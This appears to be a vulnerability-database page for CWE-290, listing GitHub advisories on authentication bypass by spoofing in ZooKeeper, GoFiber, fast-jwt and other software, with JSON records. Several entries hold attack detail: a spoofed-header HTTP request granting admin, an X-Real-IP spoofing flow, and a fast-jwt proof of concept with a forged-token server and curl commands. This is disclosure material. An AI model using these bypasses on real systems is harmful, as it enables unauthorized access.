Common Weakness Enumeration

CWE-290

Allowed

Authentication Bypass by Spoofing

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.

927 vulnerabilities reference this CWE, most recent first.

GHSA-G93M-8X6H-G5GV

Vulnerability from github – Published: 2024-11-07 12:30 – Updated: 2025-06-30 18:49
VLAI
Summary
Apache ZooKeeper: Authentication bypass with IP-based authentication in Admin Server
Details

When using IPAuthenticationProvider in ZooKeeper Admin Server there is a possibility of Authentication Bypass by Spoofing -- this only impacts IP based authentication implemented in ZooKeeper Admin Server. Default configuration of client's IP address detection in IPAuthenticationProvider, which uses HTTP request headers, is weak and allows an attacker to bypass authentication via spoofing client's IP address in request headers. Default configuration honors X-Forwarded-For HTTP header to read client's IP address. X-Forwarded-For request header is mainly used by proxy servers to identify the client and can be easily spoofed by an attacker pretending that the request comes from a different IP address. Admin Server commands, such as snapshot and restore arbitrarily can be executed on successful exploitation which could potentially lead to information leakage or service availability issues. Users are recommended to upgrade to version 3.9.3, which fixes this issue.

Severity
8.8 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.zookeeper:zookeeper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.9.0"
            },
            {
              "fixed": "3.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-51504"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-30T18:49:25Z",
    "nvd_published_at": "2024-11-07T10:15:08Z",
    "severity": "HIGH"
  },
  "details": "When using IPAuthenticationProvider in ZooKeeper Admin Server there is a possibility of Authentication Bypass by Spoofing -- this only impacts IP based authentication implemented in ZooKeeper Admin Server. Default configuration of client\u0027s IP address detection in\u00a0IPAuthenticationProvider, which uses HTTP request headers, is weak\u00a0and allows an attacker to bypass authentication via spoofing client\u0027s IP address in request headers. Default configuration honors X-Forwarded-For HTTP header to read client\u0027s IP address. X-Forwarded-For request header is mainly used by proxy servers to identify the client and can be easily spoofed by an attacker pretending that the request comes from a different IP address. Admin Server commands, such as snapshot and restore arbitrarily can be executed on successful exploitation which could potentially lead to information leakage or service availability issues. Users are recommended to upgrade to version 3.9.3, which fixes this issue.",
  "id": "GHSA-g93m-8x6h-g5gv",
  "modified": "2025-06-30T18:49:25Z",
  "published": "2024-11-07T12:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51504"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/zookeeper/commit/2c2b74c1c11b6531aabb1bf06782e859048d5983"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/zookeeper"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/b3qrmpkto5r6989qr61fw9y2x646kqlh"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/11/06/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache ZooKeeper: Authentication bypass with IP-based authentication in Admin Server"
}

GHSA-G9RQ-P8H7-MCJ8

Vulnerability from github – Published: 2022-05-24 17:48 – Updated: 2022-05-24 17:48
VLAI
Details

An authentication bypass vulnerability in the Juniper Networks Paragon Active Assurance Control Center may allow an attacker with specific information about the deployment to mimic an already registered Test Agent and access its configuration including associated inventory details. If the issue occurs, the affected Test Agent will not be able to connect to the Control Center. This issue affects Juniper Networks Paragon Active Assurance Control Center All versions prior to 2.35.6; 2.36 versions prior to 2.36.2.

Severity
7.4 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-0232"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-668"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-22T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "An authentication bypass vulnerability in the Juniper Networks Paragon Active Assurance Control Center may allow an attacker with specific information about the deployment to mimic an already registered Test Agent and access its configuration including associated inventory details. If the issue occurs, the affected Test Agent will not be able to connect to the Control Center. This issue affects Juniper Networks Paragon Active Assurance Control Center All versions prior to 2.35.6; 2.36 versions prior to 2.36.2.",
  "id": "GHSA-g9rq-p8h7-mcj8",
  "modified": "2022-05-24T17:48:11Z",
  "published": "2022-05-24T17:48:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-0232"
    },
    {
      "type": "WEB",
      "url": "https://kb.juniper.net/JSA11127"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TNPCV3KRDI5PLLLKADFVIOHACQJLZMLI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G9V7-H8X8-W5VW

Vulnerability from github – Published: 2025-12-02 15:30 – Updated: 2025-12-04 18:30
VLAI
Details

Entrust nShield Connect XC, nShield 5c, and nShield HSMi through 13.6.11, or 13.7, allow a physically proximate attacker to escalate privileges by booting from a USB device with a valid root filesystem. This occurs because of insecure default settings in the Legacy GRUB Bootloader.

Severity
6.8 (Medium)
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-59699"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-02T15:15:55Z",
    "severity": "MODERATE"
  },
  "details": "Entrust nShield Connect XC, nShield 5c, and nShield HSMi through 13.6.11, or 13.7, allow a physically proximate attacker to escalate privileges by booting from a USB device with a valid root filesystem. This occurs because of insecure default settings in the Legacy GRUB Bootloader.",
  "id": "GHSA-g9v7-h8x8-w5vw",
  "modified": "2025-12-04T18:30:43Z",
  "published": "2025-12-02T15:30:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/google/security-research/security/advisories/GHSA-6q4x-m86j-gfwj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59699"
    },
    {
      "type": "WEB",
      "url": "https://www.entrust.com/use-case/why-use-an-hsm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GC8R-PXJ9-HHX3

Vulnerability from github – Published: 2024-06-05 18:30 – Updated: 2024-08-19 18:32
VLAI
Details

A flaw was found in OpenShift's Telemeter. If certain conditions are in place, an attacker can use a forged token to bypass the issue ("iss") check during JSON web token (JWT) authentication.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-5037"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-05T18:15:11Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in OpenShift\u0027s Telemeter. If certain conditions are in place, an attacker can use a forged token to bypass the issue (\"iss\") check during JSON web token (JWT) authentication.",
  "id": "GHSA-gc8r-pxj9-hhx3",
  "modified": "2024-08-19T18:32:02Z",
  "published": "2024-06-05T18:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5037"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/pull/123540"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:4151"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:4156"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:4329"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:4484"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:5200"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-5037"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2272339"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openshift/telemeter/blob/a9417a6062c3a31ed78c06ea3a0613a52f2029b2/pkg/authorize/jwt/client_authorizer.go#L78"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GCFQ-8GQF-4876

Vulnerability from github – Published: 2026-07-02 13:50 – Updated: 2026-07-02 13:50
VLAI
Summary
GoFiber Vulnerable to X-Real-IP Spoofing via Header.Add() in BalancerForward
Details

Summary

The BalancerForward proxy helper in GoFiber uses Header.Add() instead of Header.Set() when injecting the X-Real-IP header. This appends the real client IP as a second header value rather than replacing any attacker-supplied value. Upstream servers that read the first X-Real-IP header (nginx, Express, most HTTP servers) use the attacker's spoofed IP for logging, rate limiting, and access control.

Vulnerable Code

File: middleware/proxy/proxy.go, lines 270-285

func BalancerForward(servers []string, clients ...*fasthttp.Client) fiber.Handler {
    r := &roundrobin{
        current: 0,
        pool:    servers,
    }
    return func(c fiber.Ctx) error {
        server := r.get()
        if !strings.HasPrefix(server, "http") {
            server = "http://" + server
        }
        c.Request().Header.Add("X-Real-IP", c.IP())   // line 282: Add, not Set
        return Do(c, server+c.OriginalURL(), clients...)
    }
}

Data Flow

  1. Attacker sends request with X-Real-IP: 10.0.0.1 (spoofed internal IP)
  2. BalancerForward handler executes at line 282
  3. c.Request().Header.Add("X-Real-IP", c.IP()) APPENDS the real IP as a second header
  4. Upstream server receives: X-Real-IP: 10.0.0.1 AND X-Real-IP: <real-attacker-ip>
  5. Most HTTP servers (nginx, Node.js, Apache) read the FIRST value
  6. Upstream uses 10.0.0.1 for all IP-dependent logic

Impact

  • Rate limit bypass: IP-based rate limiting at the upstream uses the spoofed IP, allowing unlimited requests
  • IP ACL bypass: Internal IP allowlists (e.g., admin panels restricted to 10.0.0.0/8) can be bypassed
  • Audit log poisoning: Security logs record the spoofed IP, making incident investigation unreliable
  • Geolocation bypass: IP-based geofencing or region restrictions are circumvented

Fix

Replace Header.Add() with Header.Set() at line 282:

c.Request().Header.Set("X-Real-IP", c.IP())

Header.Set() replaces any existing header value, ensuring only the real client IP is forwarded.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.2.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gofiber/fiber/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gofiber/fiber/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.52.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45045"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T13:50:45Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `BalancerForward` proxy helper in GoFiber uses `Header.Add()` instead of `Header.Set()` when injecting the `X-Real-IP` header. This appends the real client IP as a second header value rather than replacing any attacker-supplied value. Upstream servers that read the first `X-Real-IP` header (nginx, Express, most HTTP servers) use the attacker\u0027s spoofed IP for logging, rate limiting, and access control.\n\n## Vulnerable Code\n\n**File:** `middleware/proxy/proxy.go`, lines 270-285\n\n```go\nfunc BalancerForward(servers []string, clients ...*fasthttp.Client) fiber.Handler {\n    r := \u0026roundrobin{\n        current: 0,\n        pool:    servers,\n    }\n    return func(c fiber.Ctx) error {\n        server := r.get()\n        if !strings.HasPrefix(server, \"http\") {\n            server = \"http://\" + server\n        }\n        c.Request().Header.Add(\"X-Real-IP\", c.IP())   // line 282: Add, not Set\n        return Do(c, server+c.OriginalURL(), clients...)\n    }\n}\n```\n\n## Data Flow\n\n1. Attacker sends request with `X-Real-IP: 10.0.0.1` (spoofed internal IP)\n2. `BalancerForward` handler executes at line 282\n3. `c.Request().Header.Add(\"X-Real-IP\", c.IP())` APPENDS the real IP as a second header\n4. Upstream server receives: `X-Real-IP: 10.0.0.1` AND `X-Real-IP: \u003creal-attacker-ip\u003e`\n5. Most HTTP servers (nginx, Node.js, Apache) read the FIRST value\n6. Upstream uses `10.0.0.1` for all IP-dependent logic\n\n## Impact\n\n- **Rate limit bypass:** IP-based rate limiting at the upstream uses the spoofed IP, allowing unlimited requests\n- **IP ACL bypass:** Internal IP allowlists (e.g., admin panels restricted to `10.0.0.0/8`) can be bypassed\n- **Audit log poisoning:** Security logs record the spoofed IP, making incident investigation unreliable\n- **Geolocation bypass:** IP-based geofencing or region restrictions are circumvented\n\n## Fix\n\nReplace `Header.Add()` with `Header.Set()` at line 282:\n\n```go\nc.Request().Header.Set(\"X-Real-IP\", c.IP())\n```\n\n`Header.Set()` replaces any existing header value, ensuring only the real client IP is forwarded.",
  "id": "GHSA-gcfq-8gqf-4876",
  "modified": "2026-07-02T13:50:45Z",
  "published": "2026-07-02T13:50:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gofiber/fiber/security/advisories/GHSA-gcfq-8gqf-4876"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gofiber/fiber"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GoFiber Vulnerable to X-Real-IP Spoofing via Header.Add() in BalancerForward"
}

GHSA-GFJ5-979R-92PW

Vulnerability from github – Published: 2026-06-18 17:22 – Updated: 2026-07-01 14:30
VLAI
Summary
@acastellon/auth: Authentication bypass via spoofable headers in validateToken()
Details

@acastellon/auth v2.2.0 appears to allow an unauthenticated authentication bypass in validateToken() through spoofable auth-user and Host request headers.

The validateToken middleware contains a service-to-service bypass for auth-user: service-brother when req.get('host').startsWith(getHostName()). Both values involved in the check can be influenced by an unauthenticated HTTP client: auth-user is a request header, and Host is also client-controlled. As a result, a remote unauthenticated attacker can send a request with crafted headers and bypass token validation before the normal legacy/JWT/OIDC validation logic runs.

Impact: An attacker may be able to access routes protected by validateToken() without a valid token. In deployments where downstream services trust auth-user or is-* headers, this may also lead to privilege escalation.

Affected package: @acastellon/auth v2.2.0

Affected code: auth.js, validateToken() The issue is related to the service-brother bypass and getHostName() check.

Example request:

GET /protected HTTP/1.1
Host: <configured CNAME or hostname>
auth-user: service-brother
is-admin: true

Expected behavior: The request should require a valid authentication token.

Actual behavior: The middleware calls next() before token validation.

Fix implemented in v2.3.0+:

Removed the spoofable bypass. Always sanitize incoming auth-user and is-* headers. Added mTLS client certificate based service auth (with optional TRUSTED_MTLS_SERVICES allowlist). Updated consumers (rest, graphql, dns-client) for mTLS support. Unit tests added for sanitization + mTLS path.

Severity
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@acastellon/auth"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58399"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T17:22:47Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "@acastellon/auth v2.2.0 appears to allow an unauthenticated authentication bypass in validateToken() through spoofable auth-user and Host request headers.\n\nThe validateToken middleware contains a service-to-service bypass for auth-user: service-brother when req.get(\u0027host\u0027).startsWith(getHostName()). Both values involved in the check can be influenced by an unauthenticated HTTP client: auth-user is a request header, and Host is also client-controlled. As a result, a remote unauthenticated attacker can send a request with crafted headers and bypass token validation before the normal legacy/JWT/OIDC validation logic runs.\n\nImpact:\nAn attacker may be able to access routes protected by validateToken() without a valid token. In deployments where downstream services trust auth-user or is-* headers, this may also lead to privilege escalation.\n\nAffected package:\n@acastellon/auth v2.2.0\n\nAffected code:\nauth.js, validateToken()\nThe issue is related to the service-brother bypass and getHostName() check.\n\nExample request:\n```\nGET /protected HTTP/1.1\nHost: \u003cconfigured CNAME or hostname\u003e\nauth-user: service-brother\nis-admin: true\n```\n\nExpected behavior:\nThe request should require a valid authentication token.\n\nActual behavior:\nThe middleware calls next() before token validation.\n\nFix implemented in v2.3.0+:\n\nRemoved the spoofable bypass.\nAlways sanitize incoming auth-user and is-* headers.\nAdded mTLS client certificate based service auth (with optional TRUSTED_MTLS_SERVICES allowlist).\nUpdated consumers (rest, graphql, dns-client) for mTLS support.\nUnit tests added for sanitization + mTLS path.",
  "id": "GHSA-gfj5-979r-92pw",
  "modified": "2026-07-01T14:30:32Z",
  "published": "2026-06-18T17:22:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/antonio-castellon/module-auth/security/advisories/GHSA-gfj5-979r-92pw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/antonio-castellon/module-auth/issues/6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/antonio-castellon/module-auth"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/@acastellon/auth/v/2.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@acastellon/auth: Authentication bypass via spoofable headers in validateToken()"
}

GHSA-GGJR-2F7V-VHQ4

Vulnerability from github – Published: 2021-06-01 21:57 – Updated: 2022-08-11 16:53
VLAI
Summary
Kiali Authentication Bypass vulnerability
Details

An authentication bypass vulnerability was found in Kiali in versions before 1.31.0 when the authentication strategy OpenID is used. When RBAC is enabled, Kiali assumes that some of the token validation is handled by the underlying cluster. When OpenID implicit flow is used with RBAC turned off, this token validation doesn't occur, and this allows a malicious user to bypass the authentication.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kiali/kiali"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.31.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-20278"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-06-01T17:44:07Z",
    "nvd_published_at": "2021-05-28T11:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An authentication bypass vulnerability was found in Kiali in versions before 1.31.0 when the authentication strategy `OpenID` is used. When RBAC is enabled, Kiali assumes that some of the token validation is handled by the underlying cluster. When OpenID `implicit flow` is used with RBAC turned off, this token validation doesn\u0027t occur, and this allows a malicious user to bypass the authentication.",
  "id": "GHSA-ggjr-2f7v-vhq4",
  "modified": "2022-08-11T16:53:09Z",
  "published": "2021-06-01T21:57:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20278"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1937171"
    },
    {
      "type": "WEB",
      "url": "https://kiali.io/news/security-bulletins/kiali-security-002"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kiali Authentication Bypass vulnerability"
}

GHSA-GGM9-9X3J-CCRF

Vulnerability from github – Published: 2022-05-13 01:19 – Updated: 2022-05-13 01:19
VLAI
Details

IBM WebSphere Application Server 7.0, 8.0, and 8.5.5 installations using Form Login could allow a remote attacker to conduct spoofing attacks. IBM X-Force ID: 145769.

Severity
5.6 (Medium)
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-1695"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-09-06T14:29:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM WebSphere Application Server 7.0, 8.0, and 8.5.5 installations using Form Login could allow a remote attacker to conduct spoofing attacks. IBM X-Force ID: 145769.",
  "id": "GHSA-ggm9-9x3j-ccrf",
  "modified": "2022-05-13T01:19:19Z",
  "published": "2022-05-13T01:19:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1695"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/145769"
    },
    {
      "type": "WEB",
      "url": "https://www-01.ibm.com/support/docview.wss?uid=ibm10716523"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1041643"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GH4V-WRVJ-J9X2

Vulnerability from github – Published: 2026-03-25 15:31 – Updated: 2026-03-26 21:31
VLAI
Details

In N2W before 4.3.2 and 4.4.x before 4.4.1, there is potential remote code execution and account credentials theft because of a spoofing vulnerability.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-59707"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-25T15:16:29Z",
    "severity": "CRITICAL"
  },
  "details": "In N2W before 4.3.2 and 4.4.x before 4.4.1, there is potential remote code execution and account credentials theft because of a spoofing vulnerability.",
  "id": "GHSA-gh4v-wrvj-j9x2",
  "modified": "2026-03-26T21:31:23Z",
  "published": "2026-03-25T15:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59707"
    },
    {
      "type": "WEB",
      "url": "https://n2ws.com/blog/security-advisory-update"
    },
    {
      "type": "WEB",
      "url": "https://n2ws.zendesk.com/hc/en-us/articles/29817965452701-Release-notes-for-N2W-V4-3-2-August-2025"
    },
    {
      "type": "WEB",
      "url": "https://www.n2ws.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GM45-Q3V2-6CF8

Vulnerability from github – Published: 2025-03-19 15:48 – Updated: 2025-03-20 18:58
VLAI
Summary
Fast-JWT Improperly Validates iss Claims
Details

Summary

The fast-jwt library does not properly validate the iss claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.

Details

The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid.

Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks.

PoC

Take a server running the following code:

const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')

const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
    jwks.getPublicKey({
        kid: jwt.header.kid,
        alg: jwt.header.alg,
        domain: jwt.payload.iss
    });


const jwtVerifier = createVerifier({
    key: keyFetcher,
    allowedIss: 'https://valid-iss',
});

const app = express();
const port = 3000;

app.use(express.json());


async function verifyToken(req, res, next) {
  const headerAuth = req.headers.authorization.split(' ')
  let token = '';
  if (headerAuth.length > 1) {
    token = headerAuth[1];
  }

  const payload = await jwtVerifier(token);

  req.decoded = payload;
  next();
}

// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
  res.json(req.decoded);
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

Now we build a server that will be used to generate the JWT token and send the verification keys to the victim server:

const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');

const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;

const { publicKey, privateKey } = generateKeyPairSync("rsa", 
    {   modulusLength: 4096,
        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    },
); 
const jwk = pem2jwk(publicKey);

app.use(express.json());

// Endpoint to create token
app.post('/create-token', (req, res) => {
  const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'],  }, privateKey, { algorithm: 'RS256' });
  res.send(token);
});

app.get('/.well-known/jwks.json', (req, res) => {
    return res.json({
        keys: [{
            ...jwk,
            alg: 'RS256',
            use: 'sig',
        }]
    });
})

app.all('*', (req, res) => {
    return res.json({
        "issuer": host,
        "jwks_uri": host + '.well-known/jwks.json'
    });
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"

Impact

Applications relaying on the validation of the iss claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.

Solution

Change https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-jwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-30144"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-19T15:48:43Z",
    "nvd_published_at": "2025-03-19T16:15:33Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe `fast-jwt` library does not properly validate the `iss` claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.\n\n#### Details\nThe `iss` (issuer) claim validation within the fast-jwt library permits an array of strings as a valid `iss` value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an `iss` claim structured as `[\u0027https://attacker-domain/\u0027, \u0027https://valid-iss\u0027]`. Due to the permissive validation, the JWT will be deemed valid.\n\nFurthermore, if the application relies on external libraries like `get-jwks` that do not independently validate the `iss` claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the `iss` array, alongside the legitimate issuer, and bypass the intended security checks.\n\n#### PoC\nTake a server running the following code:\n\n```js\nconst express = require(\u0027express\u0027)\nconst buildJwks = require(\u0027get-jwks\u0027)\nconst { createVerifier } = require(\u0027fast-jwt\u0027)\n\nconst jwks = buildJwks({ providerDiscovery: true });\nconst keyFetcher = async (jwt) =\u003e\n    jwks.getPublicKey({\n        kid: jwt.header.kid,\n        alg: jwt.header.alg,\n        domain: jwt.payload.iss\n    });\n\n\nconst jwtVerifier = createVerifier({\n    key: keyFetcher,\n    allowedIss: \u0027https://valid-iss\u0027,\n});\n\nconst app = express();\nconst port = 3000;\n\napp.use(express.json());\n\n\nasync function verifyToken(req, res, next) {\n  const headerAuth = req.headers.authorization.split(\u0027 \u0027)\n  let token = \u0027\u0027;\n  if (headerAuth.length \u003e 1) {\n    token = headerAuth[1];\n  }\n\n  const payload = await jwtVerifier(token);\n\n  req.decoded = payload;\n  next();\n}\n\n// Endpoint to check if you are auth or 